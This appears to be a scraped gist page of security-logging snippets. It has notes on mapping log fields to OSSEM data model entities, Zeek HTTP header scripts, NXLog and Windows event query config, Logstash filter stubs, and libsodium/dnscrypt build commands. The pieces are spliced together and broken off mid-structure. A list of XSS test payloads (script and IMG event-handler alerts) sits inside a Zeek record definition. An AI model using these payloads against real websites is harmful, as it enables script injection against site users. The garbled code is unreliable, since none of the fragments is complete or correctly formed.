Nate Guagenti neu5ron

try to map as many fields from that log to the exisiting CDM entities
if a field does not map to an exisiting CDM, see if other log sources have similar values that could be possible to create a new CDM entity. additionally, it may be possible due to limit of the backend database or source where field can not be renamed then skip this.
if not enough for number 2 or the possibility that no other log source would ever have those values THEN a sub CDM (aka a CDM specific to that log source) should be created and documented for that log source. if that log source has values specific to itself, but those values are across multiple data/logs - then a sub entity (sub cdm) should be created. aka a custom entity for that log.

what is the purpose of OSSEM? are we still aligning to this? https://github.com/hunters-forge/OSSEM#goals

use the following OSSEM branch

	module HTTP;

	# Add additional HTTP Headers
	redef record Info += {
	#Refresh
	refresh: string &log &optional;

	#Accept-Language
	accept_language: string &log &optional;

	%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
	<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">

	module HTTP;

	# Add additional HTTP Headers
	redef record Info += {
	#Origin "Origin"
	origin: string &log &optional;
	};


	event http_header(c: connection, is_orig: bool, name: string, value: string) &priority=5

	#define ROOT C:\Program Files\nxlog
	define ROOT C:\Program Files (x86)\nxlog

	Moduledir %ROOT%\modules
	CacheDir %ROOT%\data
	Pidfile %ROOT%\data\nxlog.pid
	SpoolDir %ROOT%\data
	LogFile %ROOT%\data\nxlog.log

	<Extension _json>

	<QueryList>
	<Query Id="0" Path="Security">
	<Select Path="Security">
	*[EventData[Data[@Name='ObjectName'] and (Data='C:\Users\Public\Documents\new-login-information.txt')]]
	and
	*[System[(EventID='4663')]]
	</Select>
	</Query>
	</QueryList>

	filter {

	if [@meta][log][type] == "windows-wef" {

	# PowerShell Operational Only
	if [Channel] == "Microsoft-Windows-PowerShell/Operational" {

	# EventID 4103
	if [EventID] == 4103 {

	sudo apt-get -y install build-essential checkinstall automake libtool pkg-config;
	wget -O libsodium.tar.gz https://download.libsodium.org/libsodium/releases/LATEST.tar.gz
	mkdir libsodium && tar -zxvf libsodium.tar.gz -C libsodium --strip-components=1;
	cd libsodium;
	chmod +x configure && sh ./configure;
	make;
	sudo make install;
	sudo ldconfig;
	cd ../;
	wget -O dnscrypt.tar.gz https://download.dnscrypt.org/dnscrypt-proxy/LATEST.tar.gz;